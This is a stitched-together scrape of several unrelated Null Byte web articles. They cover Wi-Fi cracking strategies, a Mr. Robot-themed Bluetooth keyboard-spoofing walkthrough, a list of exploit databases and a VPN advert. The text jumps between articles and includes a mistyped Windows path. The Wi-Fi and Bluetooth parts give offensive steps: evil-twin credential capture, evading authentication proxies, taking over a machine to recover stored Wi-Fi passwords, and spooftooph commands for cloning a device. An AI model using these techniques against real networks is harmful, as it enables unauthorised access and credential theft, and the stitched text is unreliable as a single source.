Wrist with the Wi-Fi Deauther WatchHow To:Use an ESP8266 Beacon Spammer to Track Smartphone UsersHow To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketHow To:Change a Phone's Coordinates by Spoofing Wi-Fi Geolocation HotspotsHow To:Detect & Classify Wi-Fi Jamming Packets with the NodeMCUHow To:Hack Wi-Fi Networks with BettercapHow To:Create Rogue APs with MicroPython on an ESP8266 MicrocontrollerHow to Hack with Arduino:Tracking Which Networks a Mac Has Connected To & WhenHow To:Control Anything with a Wi-Fi Relay Switch Using aRestHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Program a $6 NodeMCU to Detect Wi-Fi Jamming Attacks in the Arduino IDEHow To:The Easiest Way to Share Your Complicated WiFi Password with Friends & Family—No Typing RequiredHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Wardrive on an Android Phone to Map Vulnerable NetworksHow To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToHow To:Inconspicuously Sniff Wi-Fi Data Packets Using an ESP8266How To:Automate Wi-Fi Hacking with Wifite2How To:Make Your Android Automatically Switch to the Strongest WiFi NetworkHow to Hack Wi-Fi:Capturing WPA Passwords by Targeting Users with a Fluxion AttackHow To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How To:Get Started with MicroPython for ESP8266 MicrocontrollersHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Trick WiFi-Only Apps into Working with Mobile Data on Your HTC OneHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidHow To:Find & Share Local Wi-Fi Passwords for Free Internet Everywhere You GoHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersHow To:Map Networks & Connect to Discovered Devices Using Your PhoneHow To:Can't Log into Hotel Wi-Fi? Use This App to Fix Android's Captive Portal ProblemHow To:Spy on Network Relationships with Airgraph-NgHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Protect Yourself from the KRACK Attacks WPA2 Wi-Fi VulnerabilityHow To:Program an ESP8266 or ESP32 Microcontroller Over Wi-Fi with MicroPythonHow to Hack Wi-Fi:Stealing Wi-Fi Passwords with an Evil Twin AttackHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking Tools
How to Hack Wi-Fi: Selecting a Good Wi-Fi Hacking Strategy « Null Byte :: WonderHowTo
Welcome back, my rookie hackers!So many readers come to Null Byte to learnhow to hack Wi-Fi networks(this is the most popular hacking area on Null Byte) that I thought I should write a "how-to" on selecting a good Wi-Fi hacking strategy.Many beginners come here looking to hack Wi-Fi, but have no idea where or how to start. Not every hack will work under every circumstance, so choosing the right strategy is more likely to lead to success and less wasted hours and frustration.Here, I will lay out the strategies based upon the simplest and most effective first, through the most complex and difficult last. In general, this same continuum will apply to the probability of success.Before You Begin Wi-Fi Password CrackingI strongly suggest that you readthis articleto become familiar with the terminology and basic technology of wireless hacking. In addition, to really be effective at Wi-Fi password cracking while usingAircrack-ng, the premier Wi-Fi cracking tool, you will need to have an Aircrack-ng compatible wireless adapter.Need a wireless network adapter?Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2017Check out our 2017 list of Kali Linux and Backtrack compatible wireless network adapters in the link above, or you can grabour most popular adapter for beginners here.A range of Kali Linux compatible wireless network adapters.Image by SADMIN/Null ByteIf you're looking for a cheap, handy platform to get started working with aircrack, check out our Kali Linux Raspberry Pi build usingthe $35 Raspberry Pi.Get Started Hacking Today:Set Up a Headless Raspberry Pi Hacking Platform Running Kali Linux1. Crack WEPWEP, or the Wireless Equivalent Privacy, was the first wireless encryption technology developed. It was quickly found to be flawed and easily cracked. Although you will not find any new WEP-encrypted wireless access points being sold, there are still many legacy WEP APs still around. (On a recent consulting gig with a major U.S. Department of Defense contractor, I found nearly 25% of their APs were using WEP, so it's still out there.)WEP can easily be cracked with Aircrack-ng using a statistical cracking method. It is nearly foolproof (don't prove me wrong on this). If you can collect enough packets (this is key), it's a simple process. This is one of the reasons you need an Aircrack-ng compatible wireless adapter. You must be able to inject packets simultaneously to capturing packets. Most off-the-shelf wireless cards are incapable of this.Don't Miss:How to Crack WEP Passwords with Aircrack-ngTo know whether an AP is using WEP, you can simply hover your mouse over the AP and it will display its encryption algorithm. Note that this approach only works if the AP is using WEP. It does not work on any of the other encryption schemes on wireless. If you are lucky enough to find a wireless AP with WEP, you can expect to crack its password within 10 minutes, although some claim to have done this task in less than 3 minutes.2. Crack WPSMany Wi-Fi APs were equipped with Wi-Fi Protected Setup, or WPS, to make it simpler for the average home user without knowledge of Wi-Fi security measures to set up their wireless AP. Fortunately for us, if we can crack that WPS PIN, we can then access the control panel of the AP.This PIN is relatively simple; just eight digits with one being a checksum, leaving just seven (7) digits, or 10,000,000 possibilities. A single CPU can usually exhaust those possibilities in a few days. Although this might seem slow, brute-forcing the PSK with many times the possibilities can take much longer.Don't Miss:How to Break a WPS PIN to Get the Password with ReaverDon't Miss:How to Break a WPS PIN to Get the Password with BullyIf the wireless AP has WPS enabled, this is the preferred method of cracking modern wireless APs with WPA2. You can use either the Reaver or Bully in conjunction with Aircrack-ng to break these WPS PINs.3. Crack WPA2After the disaster that was WEP, the wireless industry developed a new wireless security standard known as WPA2, or Wi-Fi Protected Access II. This standard is now built into nearly every new wireless AP. Although more difficult to hack, it is not impossible.When a client connects to the AP, there is a 4-way handshake where the pre-shared key (PSK) is transferred from the client machine to the AP. We can capture that PSK hash and then use a dictionary or brute-force attack against it. This can be time-consuming and is not always successful. Success is dependent upon the wordlist you use and the time you have to crack it.Don't Miss:How to Crack WPA2-PSK Passwords Using Aircrack-ngDon't Miss:How to Crack WPA2-PSK Passwords Using CowpattyOnce you have the hash of the PSK captured, you don't need to be connected to the AP. With enough resources, you can brute-force any PSK.4. Evil TwinIf we can't crack the password on the AP, another strategy that can be successful is creating an Evil Twin—an AP with exactly the same SSID as the known AP, but controlled by us. The key is for the target to connect to our AP, rather than the authentic AP.Generally, computers will automatically connect to the AP with the strongest signal, so turning up the power on your AP can be a critical element of this hack. When the user connects to our AP, we can then capture all their traffic and view it, as well as capture any other credentials they present to other systems.Don't Miss:How to Create an Evil Twin AP to Eavesdrop on DataAn effective variation on the Evil Twin is to set up a system with the same SSID and then present the user with a logon screen. Many corporate offices, hotels, coffee shops, etc. employ this type of security. When the user presents their credentials in our fake logon screen, we capture the credentials and store them. We can then use those credentials on their authentic AP to gain their access.This process has been automated by a script called Airsnarf. Unfortunately, Airsnarf is out of date, but I have been working on updating it and will present the script and tutorial soon.5. ICMPTXIf all else fails and you absolutely MUST have Internet access, ICMPTX often works on wireless networks that require authentication via proxy. These include some schools and universities, hotels, coffee shops, libraries, restaurants, and other public Wi-Fi spots. It relies upon the fact that ICMP (the ping protocol) is usually enabled on the AP and passes through to the intended IP address or domain. Since it is not TCP, it does not engage the proxy, it simply passes through.Don't Miss:How to Evade an Authentication Proxy Using ICMPTXThis hack is complex and time consuming and is not for the beginner to hacking. It is slow, as ICMP can only carry a small amount of data in each packet, but in the circumstance where you actually MUST have Internet access and the amount of data is small, such as email, it works great.Other StrategiesThere are numerous strategies to owning a target system includingsocial engineeringand the manyMetasploitexploits. When you gain access to the target system, you can simply extract the wireless password from the target system by going to:C::\ProgramData\Microsoft\Wlansvc\Profiles\Interface\{Interface GUID}There, you will find a hex-encoded XML document with the wireless password.Gaining access to the wireless AP can be as simple as cracking the WEP key or as complex as using ICMPTX, but wireless accesscanbe broken. If all else fails, target one machine on the network, own it, and then recover the password as described above.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image via Shutterstock (1,2)RelatedHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'Android Basics:How to Connect to a Wi-Fi NetworkHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:This App Saves Battery Life by Toggling Data Off When You're on Wi-FiHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksHow To:Fix Cellular & Wi-Fi Issues on Your iPhone in iOS 12How To:Automate Wi-Fi Hacking with Wifite2How To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToHow To:Your iPhone's Using More Data Than It Needs, but This Could Stop ItHow To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Recover a Lost WiFi Password from Any DeviceHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow To:Share Your Wi-Fi Password with a QR Code in Android 10How To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Fix the Wi-Fi Roaming Bug on Your Samsung Galaxy S3How To:Can't Log into Hotel Wi-Fi? Use This App to Fix Android's Captive Portal ProblemWiFi Prank:Use the iOS Exploit to Keep iPhone Users Off the InternetHow To:Google Photos Waiting for Wi-Fi? Here's the FixHow To:Hack Wi-Fi Networks with BettercapHacking Android:How to Create a Lab for Android Penetration TestingNews:iOS 11.2 Beta 3 Released, Includes Pop-Up Alerts for Wi-Fi & Bluetooth Controls, New Control Center BarHow To:Easily Share Your Complicated Wi-Fi Password Using Your Nexus 5How To:FaceTime Forcing LTE Instead of Wi-Fi? Here's How to Fix ItHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Change YouTube's Default Quality to Get High-Resolution Videos Every TimeHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:PAIRS Is the Easy Way to Restore Wi-Fi & Bluetooth Connections After Wiping Your PhoneHow To:Find & Share Local Wi-Fi Passwords for Free Internet Everywhere You GoHow To:Get the Strongest Wi-Fi Connection on Your Android Every TimeHow To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Find Your Misplaced iPhone Using Your Apple WatchHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceHow To:Adjust WiFi Video Quality on Your iPhone in iOS 10
The Hacks of Mr. Robot: How to Hack Bluetooth « Null Byte :: WonderHowTo
Welcome back, my novice hackers!Episode 6ofMr. Robothas come and gone and, as usual, it did not disappoint. Once again, our hero, Elliot, has used his extraordinary intellect and hacking skills to awe and inspire us.In this episode, Elliot is being blackmailed by the ruthless and unrelenting drug dealer, Vera, to hack him out of jail. He is holding Elliot's new love interest, Shayla, hostage and has given Elliot until midnight to hack the jail's computer system in order to release him.Elliot tries to explain to Vera that such a hack can't be done in a matter of hours, but rather days or weeks to find a security vulnerability that he can exploit. Vera, being the vicious and feeble-minded killer that he is, will not relent to give Elliot more time. As a result, Elliot has to attempt some less-than-optimal techniques to try to hack Vera out of jail to save the lovely Shayla (as you remember, Shayla is also his morphine supplier).Malicious Flash DriveIn his first attempt to hack the jail, Elliot has Darlene, his friend and nemesis from f/society, "accidentally" drop infected flash drives outside the jail. The strategy here is that if someone inside the jail's network picks one up and inserts it into their computer system, which will then inject malware and give Elliot a connection on the outside.As expected, a dimwitted corrections officer does pick one up and inserts it into his computer. Elliot is able to get a SSH connection to it, but before he is able to do anything, the AV software detects it and disconnects Elliot. Elliot then chides Darlene as a "script-kiddie" for using a well-known malware from Rapid9 (a reference toMetasploit's developer, Rapid7) rather than develop a new exploit, and Darlene defends herself saying "I only had one hour." (She could have possibly re-encoded it withVeil-Evasionand it might have gone past the AV software undetected.)Some have questioned whether this approach could work. Before the disabling of the automatic autorun feature on modern operating systems, you could have an EXE file on the flash drive that would automatically execute. On a modern OS, autorun is disabled by default.We might assume that this machine had the autorun feature enabled or, more likely, Darlene had installed the malware on a flash drive that has been reprogrammed to emulate a USB keyboard. When the flash drive is installed on the system, the operating system then recognizes the flash drive as a USB keyboard, giving it access with the rights of the logged in user and then injects its malicious code into the operating system. So, this approach may have worked had Darlene re-encoded the malware withVeil-Evasion.Hack WPA2While Elliot is visiting Vera in jail, he brings his phone with him, on which he has installed a Wi-Fi scanner app. With that scanner, he can see all the Wireless APs and sees that they are all secured with WPA2. Although he knows he cancrack WPA2, he recognizes that the short time frame he is working with is inadequate to brute-force WPA2.In the process of scanning wireless hotspots and encryption technologies with his phone, Elliot sees a Bluetooth connection when a corrections officer's car drive ups near him.That spurs Elliot into a new strategy, namely, hack the Bluetooth and enter the prison's computer system via the cop car's dedicated cellular connection to the prison!Hacking a Bluetooth KeyboardElliot's strategy here is to spoof the cop car's Bluetooth connection to his keyboard. If he can make the laptop believe that his keyboard is actually the cop's keyboard, he can control the cop's laptop and get inside the prison's network. Once inside the network, he can upload malware to take control of the prison's digitally-controlled systems.Step 1: Enable BluetoothBefore Elliot can do anything, he needs to enable Bluetooth on his Linux hacking system by starting the bluetooth service:kali > service bluetooth startNext, he needs to activate the Bluetooth device:kali > hciconfig hci0 upThen he checks to see if it is actually working, as well as its properties, by typing:kali > hciconfig hci0Please note the "BD Address" in second line—this is the MAC address of the Bluetooth device.Step 2: Scan for Bluetooth DevicesThe first thing Elliot does in this hack is to scan for Bluetooth connections. If you look closely at Elliot's screen, you can see that he is usinghcitool, a built-in Bluetooth configuration tool in Kali Linux. Although this works, I have had better success withbtscanner, a built-in Bluetooth scanner with a rudimentary GUI. To use it, simple type:kali > btscannerThen select "i" to initiate an inquiry scan. You can see the results below.Using btscanner, we can get a list of all the Bluetooth devices in range. This one here has a MAC address and a name of "Tyler"—to spoof this device, we must spoof the MAC address and name of the device.This is how Elliot gets the MAC address and name of the Bluetooth device in the cop's car. Remember that Bluetooth is a low-power protocol with a range of just about 10 meters (although with a directional antenna, distances as much as 100 meters have been achieved).Step 3: Spoof the MAC Address of the KeyboardNow that Elliot has the name and MAC address of the cop's keyboard, he will need to spoof it by cloning the cop's keyboard with this info. Kali Linux has a tool designed to spoof Bluetooth devices calledspooftooph. We can use it to spoof the keyboard with a command similar to this:kali > spooftooph -i hci0 -a A0:02:DC:11:4F:85 -n Car537-idesignates the device, in this case hci0-adesignates the MAC address we want to spoof-ndesignates the name of the device we want to spoof, in this case "Car537"If we do it right, our Bluetooth device will spoof the MAC address and name of the cop's computer-Bluetooth device.To check to see whether we were successful, we can usehciconfigfollowed by the device and the switch "name" that will list the name of the device. Remember, this is our Bluetooth device that we are trying emulate with the cop car's Bluetooth device. If we are successful, it will have the same MAC address and name of the cop's Bluetooth device.kali > hciconfig hci0 nameNow, we have a Bluetooth device that is a perfect clone of the cop car's Bluetooth keyboard!Step 4: Link Bluetooth Device to the Cop's LaptopNow, here is where reality and theMr. Robotstoryline diverge. Mr. Robot's hacking is very realistic, but even in this show, the director takes some literary license. That's allowed—creative works should be not limited by reality.For Eliot to now connect to the cop car's laptop, he would need the link-key (this is a key to identify the previously-paired Bluetooth device) that was exchanged between the keyboard and the Bluetooth adapter on the laptop.He could guess it (unlikely) or crack it, but it won't be as fast as it appeared in the show. Another possibility is that when the system rebooted or the keyboard was disconnected, Elliot could connect to the laptop as it is a clone of the cop's keyboard. In either case, it would take more time than Elliot had in this episode to hack the cop's Bluetooth keyboard.Step 5: Hack the PrisonIn the final step, Elliot uses the cop's hacked computer to upload malware via FTP that will give him control of the prison cell doors. Few people realize that prisons and other industrial systems, often referred to asSCADA, are very hackable.TheStuxnethack of Iran's uranium enrichment facility was very similar to this. These industrial system have PLCs that are basically digital controllers. Presumably, this prison had PLCs controlling the prison cell doors (a very reasonable assumption) and Elliot's malware infected them and gave him control, enabling him to open all the cells, releasing Vera and all the other prisoners.Don't missmy series on hacking Bluetooth, and make sure to check out my otherMr. Robot's hacksto see more of what Elliot has accomplished. Keep coming back for more, my novice hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:Samy's MagSpoof Hacking Device Was Just Featured on Mr. RobotHow to Hack Bluetooth, Part 1:Terms, Technologies, & SecurityNews:A Game of Real HackingThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow to Hack Bluetooth, Part 2:Using MultiBlue to Control Any Mobile DeviceBT Recon:How to Snoop on Bluetooth Devices Using Kali LinuxHow To:Target Bluetooth Devices with BettercapHow To:Build a Programmable Robot with Snap CircuitsAndroid Basics:How to Connect to a Bluetooth DeviceHow To:Set Default Volume Levels for Each of Your Bluetooth Accessories IndividuallyHow To:Play Music on 2 Devices Using Your Samsung Galaxy PhoneHow To:See Battery Life for Paired Bluetooth Accessories on AndroidHow To:Hack Your Car's Cassette Deck into a Wireless Bluetooth Music PlayerNews:The Galaxy S8 Is the First Phone with the Longer-Range & Higher-Speed Bluetooth 5.0News:DIY 3D-Printed Arduino RobotHow To:Set Up a Distress Signal on Android for Your Bluetooth Headphones (So You Never Leave Them Behind)News:Bluetooth 5 Is Here—But It Won't Make Your Headphones Sound BetterThe Hacks of Mr. Robot:How to Hide Data in Audio FilesThe Hacks of Mr. Robot:How to Spy on Anyone's Smartphone ActivityMr. Robot:Hacking Sequence ExplainedHow To:Things to Do on WonderHowTo (02/08 - 02/14)Hacking in the Media:Our Craft's Portrayal as Black MagicHow To:Things to Do on WonderHowTo (02/01 - 02/07)
Top 10 Exploit Databases for Finding Vulnerabilities « Null Byte :: WonderHowTo
Hundreds ofWindows 10,macOS, andLinuxvulnerabilities are disclosed every single week, many of which elude mainstream attention. Most users aren't even aware that newly found exploits and vulnerabilities exist, nor that CVEs can be located by anyone in just a few clicks from a selection of websites online.What Is a CVE?The numbered reference system used to catalog disclosed vulnerabilities and exploits is called the Common Vulnerabilities and Exposures (CVE) system.For example, theExploit Databaseuses CVEs to identify individual vulnerabilities which are associated with a particular version of a service like "SSH v7.7," as shown below withCVE-2018-15473. All exploit databases operate and index CVEs similarly or exactly like the CVE number assigned to this particular SSH username enumeration vulnerability.Don't Miss:How to Easily Detect CVEs with Nmap ScriptsCVEs and exploits are highly sought after by black hats and security professionals alike. They can be used tohack into outdated Windows versions,perform privilege escalation, andaccess routerswithout the target's knowledge, among other things.Now that we know what a CVE is, let's see where we can find them.1. CIRCLTheComputer Incident Response Center Luxembourg (CIRCL)is an information security organization designed to handle cyber threat detections and incidents. Its website featuressecurity research publicationsand asearchable CVE database.2. VulDBFor decades, theVulDBspecialists have coordinated with large and independent information security communities to compile asearchable databaseof over 124,000 CVEs. Hundreds of new entries are added on a daily basis and scored (e.g., low, medium, high) based on the severity of the disclosed exploit.3. SecurityFocusSecurityFocus hasreported on cybersecurity incidentsandpublished whitepapersin the past. These days, ittracks software bug reportsand has beencompiling a searchable archive of CVEssince 1999.Don't Miss:How to Find Almost Every Known Vulnerability & Exploit Out There4. 0day.today0day.today(accessible viator onion service), is an exploit database that also sellsprivate exploits for as much as $5,000 USD. While there areseveralreportsof scams occurring with private sales, thesearchable public databaseis quite legitimate.Don't Miss:The Top 80+ Websites Available in the Tor Network5. Rapid7Rapid7, creators of theMetasploit Framework, have asearchable CVE databaseon its website. However, unlike other databases, Rapid7 very rarely features the actual exploit code. Instead, it offers advisories containing helpful reference links to relevant documentation for remediation, as well as links to msfconsole modules that automate the indexed exploit.For example, since the public disclosure ofCVE-2018-15473, the aforementioned SSH username enumeration exploit, the hackcan be found in msfconsoleand executed with great ease.6. NISTTheNational Institute of Standards and Technology (NIST)is one of the oldest physical science laboratories in the United States. It's currently involved in a myriad of technologies and research such as itsnational initiative for cybersecurity education,CVE archive,cutting-edge technology news, andquantum information science program. Anyone can searchits CVE database.7. Packet Storm SecurityPacket Storm Securityisn't exactly intended to be a searchable database of exploits. Rather, it's a general resource of information pertaining tovulnerability advisoriesand remediations. The Packet Storm website also featureshacker news,research whitepapers, and afeed of recently disclosed CVEs.8. Exploit DatabaseThe Exploit Database is currently maintained by theOffensive Securityorganization which specializes inadvanced Windows exploitation,web application security, andvarious prominent penetration tester certificationtraining.Itssearchable databasecurrently features a collection of over 40,000remote,local,web application, anddenial-of-serviceexploits, as well as aGoogle hacking database,research whitepapers, and adatabase search function.Don't Miss:How to Find Exploits Using the Exploit Database in Kali9. VulnersVulners, founded byKir Ermakov, is a CVE database currently containing over 176,500 indexed exploits. Its website includesCVE statistics,a Linux vulnerability management auditor, andsearchable CVE database.Don't Miss:How to Scan Websites for Potential Vulnerabilities10. MITREMITREis a US government-sponsored organization that manages federally funded research and development centers (FFRDC). Its website emphasizescommercial publicationsand information related to their FFRDCs such as theNational Cybersecurity program. It also maintains one ofthe biggest and widely referenced CVE databasescurrently available,searchableby the public.Operating System Advisory & CVE Databases (Bonus)Some readers may be looking to explore recent OS-specific vulnerabilities — or simply trying to remain aware to better protect themselves. Most operating system distributions offer an advisory listing on their website. These are mostly application-specific vulnerabilities and bugs, but in many cases, can be easily exploited by attackers.Microsoft:Windows Security Update GuideAndroid:Monthly Security BulletinApple:Security UpdatesUbuntu:Security Notices,CVE Tracker,Mailing ListDebian:Recent Advisories,Mailing ListRedHat:CVE Database,Security AdvisoriesArch Linux:Security AdvisoriesI hope you enjoyed this article. If we missed any noteworthy websites or databases you find vital to a penetration testers arsenal, be sure to leave a comment and share your picks.Don't Miss:The Ultimate Guide to Hacking macOSFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by distortion/Null ByteRelatedHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereHack Like a Pro:How to Find Exploits Using the Exploit Database in KaliHack Like a Pro:How to Find the Latest Exploits and Vulnerabilities—Directly from MicrosoftHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Easily Detect CVEs with Nmap ScriptsHack Like a Pro:Using Nexpose to Scan for Network & System VulnerabilitiesHack Like a Pro:How to Exploit Adobe Flash with a Corrupted Movie File to Hack Windows 7How To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!Hack Like a Pro:How to Find Website Vulnerabilities Using WiktoHow To:The Art of 0-Day Vulnerabilities, Part3: Command Injection and CSRF VulnerabilitiesHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:How to Scan for Vulnerabilities with NessusNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Identify Missing Windows Patches for Easier ExploitationHow to Hack Databases:Hunting for Microsoft's SQL ServerHow To:The Art of 0-Day Vulnerabilities, Part2: Manually FuzzingThe Panama Papers Hack:Further Proof That Hacking Is Changing the WorldHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:How to Hack Web Apps, Part 5 (Finding Vulnerable WordPress Websites)How To:Scan for Vulnerabilities on Any Website Using NiktoHow To:Set Up a Pentesting Lab Using XAMPP to Practice Hacking Common Web ApplicationsHow To:Use Dorkbot for Automated Vulnerability DiscoveryNews:Hack the Switch? Nintendo's Ready to Reward You Up to $20,000How To:Exploit EternalBlue on Windows Server with MetasploitHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceNews:Intel Core 2 Duo Remote Exec Exploit in JavaScriptIPsec Tools of the Trade:Don't Bring a Knife to a GunfightNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreHack Logs and Linux Commands:What's Going On Here?How To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsHow To:Protect Your PHP Website from SQL Injection HacksForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal Logins
This VPN Will Give You a Lifetime of Security for Just $18 « Null Byte :: WonderHowTo
With everything the last year has thrown at us, the odds are good that you've had to start working from home, complete with all-new challenges both for you and the technology you use.In 2020,88% of the organizations worldwidemade it mandatory for employees to start working from home to reduce the risk of exposure to COVID-19. Working from home comes with its own new challenges, and one of the most significant new hurdles to leap is security. At work, you had the comfort of knowing your privacy and security were a package deal. Now that you're relying on your own technology, things become a little more uncertain.Yodata VPN: Lifetime Subscriptioncan remove that uncertainty by giving you a fast, secure VPN with military-grade encryption for only $17.99.For your home office or as an added layer of security for your personal internet use, the Yodata VPN can assure you that what you're seeing is for your eyes only.Yodata VPNis committed to your safety, and it acts on that commitment by providing "Industry-leading AES-256-GCM end-to-end encryption," a kill switch that will let you cut all connections to your device, and state of the art VPN protocols.You won't have to worry about sensitive client information leaking online or seeing your next great idea published in another person's name.With unlimited traffic and bandwidth, this VPN will give you the speed and efficiency you've grown to expect in your work with the security that work deserves. With lifetime access to digital privacy, you'll be able toseamlessly connectto your colleagues in one tab and outline your next business plan in another with no worry that anyone but you will see it.A lifetime subscription to YoData VPN is the next step toward securing your online presence.For just $18, roughly the price of two years on a domain name, you can give yourself a lifetime of security that will promise that your work remains yours.Prices subject to changeYou Won't Find a Better VPN Deal Elsewhere:Yodata VPN: Lifetime Subscription for Just $17.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:For $40, This VPN Will Protect Your Data for LifeHow To:Protect Your Internet Browsing for Life for Less Than $20How To:Make the Best of Your Gaming & Browsing with One DealHow To:Fix VPN Issues on iPhone to Ensure a More Private Internet ExperienceHow To:The Best 'No-Logs' VPN Apps for Safe & Private Mobile BrowsingHow To:Your Phone's Biggest Security Weakness Is Its Data Connection — Here's How to Lock It DownHow To:Protect Your Data on the Go with a Premium Hushed Line & Hola VPN for Only $50How To:This Is by Far the Easiest Way to Set Up a Free VPN on Your iPhoneHow To:Make a Star Trek Red Shirt costume for Halloween or a Star Trek eventHow To:Safeguard Your iOS Devices with This Premium VPN for Just $40How To:Protect Your Information on Up to 10 Devices with This Thrifty VPNHow To:Take the First Step Towards an In-Demand & Lucrative Career in IT for Under $35How To:Learn Any of Rosetta Stone's 24 Languages with This Incredible App BundleHow To:Protect Your Privacy with This 2-Part Security BundleHow To:Get VPN ConnectionHow To:Safely Browse the Web with Opera's Free VPNHow To:Surf the Web Without Restrictions for Free Using Opera's Hidden VPNHow To:Set Up SoftEther VPN on Windows to Keep Your Data SecureNews:What REALLY Happened with the Juniper Networks Hack?How To:Browse the Internet Safely for 10 Years with This VPNHow To:Boost Internet Speeds & Hide Your Browsing History from Your ISPNews:Google Names BlackBerry PRIV as One of the Most Secure Android PhonesHow To:4 Apps to Help Keep Your Android Device SecureDeal Alert:VPN Unlimited Is Only $39 Right Now for a Lifetime LicenseHow To:Chain VPNs for Complete AnonymityMastering Security, Part 2:How to Create a Home VPN TunnelContest:Potassium Nitrate CrystalsNews:And the Winner of the Tuesday Giveaway Minecraft Challenge Is...How To:Completely Mask & Anonymize Your BitTorrent Traffic Using AnomosHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxHow To:Make an Electric Cigar Box Guitar for $25News:Zelda and the Symphony Meet Up in LANews:The Likeliness of Two Identical Scrabble HandsNews:Sir Robin Founder of ClipperRoundtheWorldTravel Destinations:The Ice Hotel
How to Modify the USB Rubber Ducky with Custom Firmware « Null Byte :: WonderHowTo
